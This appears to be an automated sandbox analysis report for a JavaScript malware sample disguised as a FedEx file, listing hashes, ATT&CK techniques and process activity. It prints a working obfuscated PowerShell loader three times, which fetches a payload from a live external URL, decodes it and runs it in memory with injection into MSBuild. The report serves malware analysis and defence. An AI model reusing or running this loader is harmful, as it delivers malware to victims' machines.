6d2ae73f2bfc722707576fda2165a72ca620c26599b3bc63bec5b4e97ebdbc3a

Analysis

max time kernel
148s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/08/2026, 08:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
FedEx5050736636376.js
Size 296KB
Sample260831-ked45sybmd
SHA256 6d2ae73f2bfc722707576fda2165a72ca620c26599b3bc63bec5b4e97ebdbc3a
MD5 21edcec490f34933439ed3672d921aef
SHA1 376185d717517ac4ee814d0ef3ea8738016ce625
SHA512 1d6119ae8501b78a8ea67a2f172942c07191984a7ef392689439d4ce82e506d59352c059fe63868954cbfa6fc8f9445d4d48e3ef18481f092b6e33f87d43c14e
SSDEEP 1536:zspkAG8MMFk4fs4WtzD+FySuGP0IsgZNLn:z/AG88mZNLn
TLSH
T16A54B55DB50063562D31A78FB9EE4158B6F00357160B212E7F6DE8DC2FB232A750BAC9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution persistence privilege_escalation

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://lively-fog-af49.pablosoftwareplus.workers.dev/hMgsg
exe.dropper
https://lively-fog-af49.pablosoftwareplus.workers.dev/hMgsg

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4504	3736	powershell.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3848	3736	powershell.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6052	3736	powershell.exe	89

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	6052	powershell.exe
7	3848	powershell.exe
8	4504	powershell.exe
10	3848	powershell.exe
11	6052	powershell.exe
12	4504	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FedEx5050736636376.js	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4504	powershell.exe
3848	powershell.exe
6052	powershell.exe

Network Service Discovery 1 TTPs 3 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
3848	powershell.exe
6052	powershell.exe
4504	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3848 set thread context of 1512	3848	powershell.exe	96
PID 6052 set thread context of 2544	6052	powershell.exe	97
PID 4504 set thread context of 4408	4504	powershell.exe	98

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	wscript.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4504	powershell.exe
3848	powershell.exe
6052	powershell.exe
6052	powershell.exe
6052	powershell.exe
3848	powershell.exe
3848	powershell.exe
4504	powershell.exe
4504	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeDebugPrivilege	6052	powershell.exe
Token: SeDebugPrivilege	3848	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3848 wrote to memory of 1512	3848	powershell.exe	96
PID 3848 wrote to memory of 1512	3848	powershell.exe	96
PID 3848 wrote to memory of 1512	3848	powershell.exe	96
PID 3848 wrote to memory of 1512	3848	powershell.exe	96
PID 6052 wrote to memory of 2544	6052	powershell.exe	97
PID 6052 wrote to memory of 2544	6052	powershell.exe	97
PID 6052 wrote to memory of 2544	6052	powershell.exe	97
PID 6052 wrote to memory of 2544	6052	powershell.exe	97
PID 4504 wrote to memory of 4408	4504	powershell.exe	98
PID 4504 wrote to memory of 4408	4504	powershell.exe	98
PID 4504 wrote to memory of 4408	4504	powershell.exe	98
PID 4504 wrote to memory of 4408	4504	powershell.exe	98

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\FedEx5050736636376.js
1⤵
- Creates a file in the Startup directory
- Modifies registry class
PID:2696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $aminopyridine = ''https://lively-fog-af49.pablosoftwareplus.workers.dev/hMgsg''; Add-Type -AssemblyName System.Net.Http; $cookieContainer = New-Object System.Net.CookieContainer; $handler = New-Object System.Net.Http.HttpClientHandler; $handler.AllowAutoRedirect = $true; $handler.CookieContainer = $cookieContainer; $client = New-Object System.Net.Http.HttpClient($handler); $client.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $reqHead = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $aminopyridine); $resHead = $client.SendAsync($reqHead).GetAwaiter().GetResult(); $tamanhoTotal = $resHead.Content.Headers.ContentLength; if ($null -eq $tamanhoTotal) { $tamanhoTotal = 5000000; } $tamanhoBuffer = [Math]::Min($tamanhoTotal, 3000000); $inicio = [Math]::Max(0, $tamanhoTotal - $tamanhoBuffer); $fim = $tamanhoTotal - 1; $reqGet = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $aminopyridine); $reqGet.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($inicio, $fim); $resGet = $client.SendAsync($reqGet).GetAwaiter().GetResult(); [byte[]]$bytesBuffer = $resGet.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $kourbash = [System.Text.Encoding]::ASCII.GetString($bytesBuffer); } catch { $sfregazzi = (New-Object System.Net.WebClient).DownloadString($aminopyridine); $kourbash = $sfregazzi; } $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge = [string]::IndexOf($kourbash, $lacune); $pajero = $kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic = $javaone_2008_ge + $lacune.Length; $anomocarpous = $kourbash.Substring($kourbash.IndexOf($lacune) + $lacune.Length, $pajero - ($kourbash.IndexOf($lacune) + $lacune.Length)); $phassachate = $anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $isHex = ($perforati -match ''^[0-9a-fA-F]+$'') -and ($perforati.Length % 2 -eq 0); [byte[]]$hobblingly = $null; if ($isHex) { $hobblingly = for ($i = 0; $i -lt $perforati.Length; $i += 2) { [Convert]::ToByte($perforati.Substring($i, 2), 16) } } else { $cnv = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $hobblingly = $cnv.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$perforati)); } $bosta = [AppDomain]::(''CurrentDomain''); $humist = $bosta.GetType().GetMethod(''Load'', [byte[]]); $unswerving = $humist.Invoke($bosta, (,$hobblingly)); $landaulets = (''7azjhBoEwsG9V4t86qugxrwyShdEyc3Xi/l+/vX8UmFq/MI/of9VN75kNIrkbb5Q0GGuXAYOmcBsPSsz4MxjoXGxpdJ1gLE7XJlhtju+pW59s0N8q5j1o+F+Z8aKoYHE0Ted7HtojZzfTnf3fSBiOw=='','''',''a5ekdllEJp9BwECgRUmzLhJCo501w2U0/oUKQ0mtXhBaHVEVYgw66/IYkrJQ4OuI'',''bxwYrOsNQ6tLLTu01DErOyYgYbJarIbvd5rn09khy3E='',''FUJibYKg76Zb9M6audjKHzs4GpJp1ukJRId2q/9fFMg='',''ojRCUT4IhEQeeKAGrrRYD3K5U+YBI7b91GCGEiyQ01Q='',''sol6YmQmG8tujPek5Eiuc/RO3Tq3/1R4485uIMFmmqc='','''',''vnOpoCm50i1rgG72Ie/69dBTaX202SZojC3lmp5fj0o='',''OZPAHys0W8rVcytUqWxFo0ITn7wo15YHTUMjZmXoqK+mTu1i2l7Oy0A7y3J+Lg4r'',''rDhS7pIvh05DQ1BYpqQNZAwAatKqUks7j0CV6zsqYPY='',''zzLzmw7eTgbF0AduJ2Uqx5hF+hclGc0DPY19ti4nzzU='',''v10ig+gNLWdQLDSnZFJFojZl+ZtIPbIkII0z31a13dQ='','''',''V6aEi8aMrAvpWoVPaLlrgIBzHntSiI9aZlE0CBb60Z8='',''PmofkC4YuS6EVQyH79wUEjABaDC9q3tirRSQZ8fCTLc='','''','''',''''); try { $monometallist = ($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy = ($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null, [object[]]$landaulets); } catch {} finally { if ($null -ne $client) { $client.Dispose() } }'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4504
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  2⤵
  PID:4408

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $aminopyridine = ''https://lively-fog-af49.pablosoftwareplus.workers.dev/hMgsg''; Add-Type -AssemblyName System.Net.Http; $cookieContainer = New-Object System.Net.CookieContainer; $handler = New-Object System.Net.Http.HttpClientHandler; $handler.AllowAutoRedirect = $true; $handler.CookieContainer = $cookieContainer; $client = New-Object System.Net.Http.HttpClient($handler); $client.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $reqHead = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $aminopyridine); $resHead = $client.SendAsync($reqHead).GetAwaiter().GetResult(); $tamanhoTotal = $resHead.Content.Headers.ContentLength; if ($null -eq $tamanhoTotal) { $tamanhoTotal = 5000000; } $tamanhoBuffer = [Math]::Min($tamanhoTotal, 3000000); $inicio = [Math]::Max(0, $tamanhoTotal - $tamanhoBuffer); $fim = $tamanhoTotal - 1; $reqGet = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $aminopyridine); $reqGet.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($inicio, $fim); $resGet = $client.SendAsync($reqGet).GetAwaiter().GetResult(); [byte[]]$bytesBuffer = $resGet.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $kourbash = [System.Text.Encoding]::ASCII.GetString($bytesBuffer); } catch { $sfregazzi = (New-Object System.Net.WebClient).DownloadString($aminopyridine); $kourbash = $sfregazzi; } $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge = [string]::IndexOf($kourbash, $lacune); $pajero = $kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic = $javaone_2008_ge + $lacune.Length; $anomocarpous = $kourbash.Substring($kourbash.IndexOf($lacune) + $lacune.Length, $pajero - ($kourbash.IndexOf($lacune) + $lacune.Length)); $phassachate = $anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $isHex = ($perforati -match ''^[0-9a-fA-F]+$'') -and ($perforati.Length % 2 -eq 0); [byte[]]$hobblingly = $null; if ($isHex) { $hobblingly = for ($i = 0; $i -lt $perforati.Length; $i += 2) { [Convert]::ToByte($perforati.Substring($i, 2), 16) } } else { $cnv = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $hobblingly = $cnv.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$perforati)); } $bosta = [AppDomain]::(''CurrentDomain''); $humist = $bosta.GetType().GetMethod(''Load'', [byte[]]); $unswerving = $humist.Invoke($bosta, (,$hobblingly)); $landaulets = (''7azjhBoEwsG9V4t86qugxrwyShdEyc3Xi/l+/vX8UmFq/MI/of9VN75kNIrkbb5Q0GGuXAYOmcBsPSsz4MxjoXGxpdJ1gLE7XJlhtju+pW59s0N8q5j1o+F+Z8aKoYHE0Ted7HtojZzfTnf3fSBiOw=='','''',''a5ekdllEJp9BwECgRUmzLhJCo501w2U0/oUKQ0mtXhBaHVEVYgw66/IYkrJQ4OuI'',''bxwYrOsNQ6tLLTu01DErOyYgYbJarIbvd5rn09khy3E='',''FUJibYKg76Zb9M6audjKHzs4GpJp1ukJRId2q/9fFMg='',''ojRCUT4IhEQeeKAGrrRYD3K5U+YBI7b91GCGEiyQ01Q='',''sol6YmQmG8tujPek5Eiuc/RO3Tq3/1R4485uIMFmmqc='','''',''vnOpoCm50i1rgG72Ie/69dBTaX202SZojC3lmp5fj0o='',''OZPAHys0W8rVcytUqWxFo0ITn7wo15YHTUMjZmXoqK+mTu1i2l7Oy0A7y3J+Lg4r'',''rDhS7pIvh05DQ1BYpqQNZAwAatKqUks7j0CV6zsqYPY='',''zzLzmw7eTgbF0AduJ2Uqx5hF+hclGc0DPY19ti4nzzU='',''v10ig+gNLWdQLDSnZFJFojZl+ZtIPbIkII0z31a13dQ='','''',''V6aEi8aMrAvpWoVPaLlrgIBzHntSiI9aZlE0CBb60Z8='',''PmofkC4YuS6EVQyH79wUEjABaDC9q3tirRSQZ8fCTLc='','''','''',''''); try { $monometallist = ($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy = ($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null, [object[]]$landaulets); } catch {} finally { if ($null -ne $client) { $client.Dispose() } }'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3848
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  2⤵
  PID:1512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $aminopyridine = ''https://lively-fog-af49.pablosoftwareplus.workers.dev/hMgsg''; Add-Type -AssemblyName System.Net.Http; $cookieContainer = New-Object System.Net.CookieContainer; $handler = New-Object System.Net.Http.HttpClientHandler; $handler.AllowAutoRedirect = $true; $handler.CookieContainer = $cookieContainer; $client = New-Object System.Net.Http.HttpClient($handler); $client.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $reqHead = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $aminopyridine); $resHead = $client.SendAsync($reqHead).GetAwaiter().GetResult(); $tamanhoTotal = $resHead.Content.Headers.ContentLength; if ($null -eq $tamanhoTotal) { $tamanhoTotal = 5000000; } $tamanhoBuffer = [Math]::Min($tamanhoTotal, 3000000); $inicio = [Math]::Max(0, $tamanhoTotal - $tamanhoBuffer); $fim = $tamanhoTotal - 1; $reqGet = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $aminopyridine); $reqGet.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($inicio, $fim); $resGet = $client.SendAsync($reqGet).GetAwaiter().GetResult(); [byte[]]$bytesBuffer = $resGet.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $kourbash = [System.Text.Encoding]::ASCII.GetString($bytesBuffer); } catch { $sfregazzi = (New-Object System.Net.WebClient).DownloadString($aminopyridine); $kourbash = $sfregazzi; } $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge = [string]::IndexOf($kourbash, $lacune); $pajero = $kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic = $javaone_2008_ge + $lacune.Length; $anomocarpous = $kourbash.Substring($kourbash.IndexOf($lacune) + $lacune.Length, $pajero - ($kourbash.IndexOf($lacune) + $lacune.Length)); $phassachate = $anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $isHex = ($perforati -match ''^[0-9a-fA-F]+$'') -and ($perforati.Length % 2 -eq 0); [byte[]]$hobblingly = $null; if ($isHex) { $hobblingly = for ($i = 0; $i -lt $perforati.Length; $i += 2) { [Convert]::ToByte($perforati.Substring($i, 2), 16) } } else { $cnv = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $hobblingly = $cnv.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$perforati)); } $bosta = [AppDomain]::(''CurrentDomain''); $humist = $bosta.GetType().GetMethod(''Load'', [byte[]]); $unswerving = $humist.Invoke($bosta, (,$hobblingly)); $landaulets = (''7azjhBoEwsG9V4t86qugxrwyShdEyc3Xi/l+/vX8UmFq/MI/of9VN75kNIrkbb5Q0GGuXAYOmcBsPSsz4MxjoXGxpdJ1gLE7XJlhtju+pW59s0N8q5j1o+F+Z8aKoYHE0Ted7HtojZzfTnf3fSBiOw=='','''',''a5ekdllEJp9BwECgRUmzLhJCo501w2U0/oUKQ0mtXhBaHVEVYgw66/IYkrJQ4OuI'',''bxwYrOsNQ6tLLTu01DErOyYgYbJarIbvd5rn09khy3E='',''FUJibYKg76Zb9M6audjKHzs4GpJp1ukJRId2q/9fFMg='',''ojRCUT4IhEQeeKAGrrRYD3K5U+YBI7b91GCGEiyQ01Q='',''sol6YmQmG8tujPek5Eiuc/RO3Tq3/1R4485uIMFmmqc='','''',''vnOpoCm50i1rgG72Ie/69dBTaX202SZojC3lmp5fj0o='',''OZPAHys0W8rVcytUqWxFo0ITn7wo15YHTUMjZmXoqK+mTu1i2l7Oy0A7y3J+Lg4r'',''rDhS7pIvh05DQ1BYpqQNZAwAatKqUks7j0CV6zsqYPY='',''zzLzmw7eTgbF0AduJ2Uqx5hF+hclGc0DPY19ti4nzzU='',''v10ig+gNLWdQLDSnZFJFojZl+ZtIPbIkII0z31a13dQ='','''',''V6aEi8aMrAvpWoVPaLlrgIBzHntSiI9aZlE0CBb60Z8='',''PmofkC4YuS6EVQyH79wUEjABaDC9q3tirRSQZ8fCTLc='','''','''',''''); try { $monometallist = ($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy = ($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null, [object[]]$landaulets); } catch {} finally { if ($null -ne $client) { $client.Dispose() } }'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6052
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  2⤵
  PID:2544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b64cde6a373b4144d394a40d4081c943f7bd8b2facad11f3f8126b3baa7ecd2c
MD5 a88bc8e94b47aa9d5c1b8c876ab0c0a7
SHA1 2d894584734d029a000a45a6626613540f798343
SHA512 a5e1c171b83d31c117af785206627a12f0db4157345065c998d90e92b92a8c4438268c5b880c0306c5be0c555e2cf6ab38b91f2a2a5d83947782d9ba11950628
TLSH
T175217833F3CC8624DC9A403A50CEED1536B687DB40DEDE6BBB88D548B42F589DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d6adf8f2ed7c8c77d119bd6431ed8bfdc641465ffa099c541c5ff6835cd15006
MD5 2670aaa6944ee06eef7842e5b1c0d410
SHA1 3f9349e2deb13c35ff94e87604ef02489d2bcc0c
SHA512 8c76fdbc5ae536a5491021108136d457eb046053c8bc2aac4c25b46eb3f34770b3fcf7f44e9f03fd3d9e8452fcd0018e8425e87918c9c74670ace1b4328c63af
TLSH
T167217833F3CC8624DC9A403A50CEED1536B687DB40DECE6BBB88D548B42F589DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_42ai0azx.e1p.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_42ai0azx.e1p.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1512-30-0x0000000000400000-0x00000000004D2000-memory.dmp

Download

memory/3848-26-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/3848-28-0x00000186A7BA0000-0x00000186A7C52000-memory.dmp

Download

memory/3848-35-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/3848-29-0x00000186A76C0000-0x00000186A76CA000-memory.dmp

Download

memory/3848-25-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/3848-24-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/3848-23-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/3848-22-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/3848-21-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/3848-20-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/3848-19-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-0-0x00007FFFAD8EF000-0x00007FFFAD8F0000-memory.dmp

Download

memory/4504-5-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-16-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-15-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-14-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-13-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-17-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-9-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-18-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-12-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-27-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-4-0x0000026B028C0000-0x0000026B028E2000-memory.dmp

Download

memory/4504-6-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-1-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download

memory/4504-39-0x00007FFFAD760000-0x00007FFFAE104000-memory.dmp

Download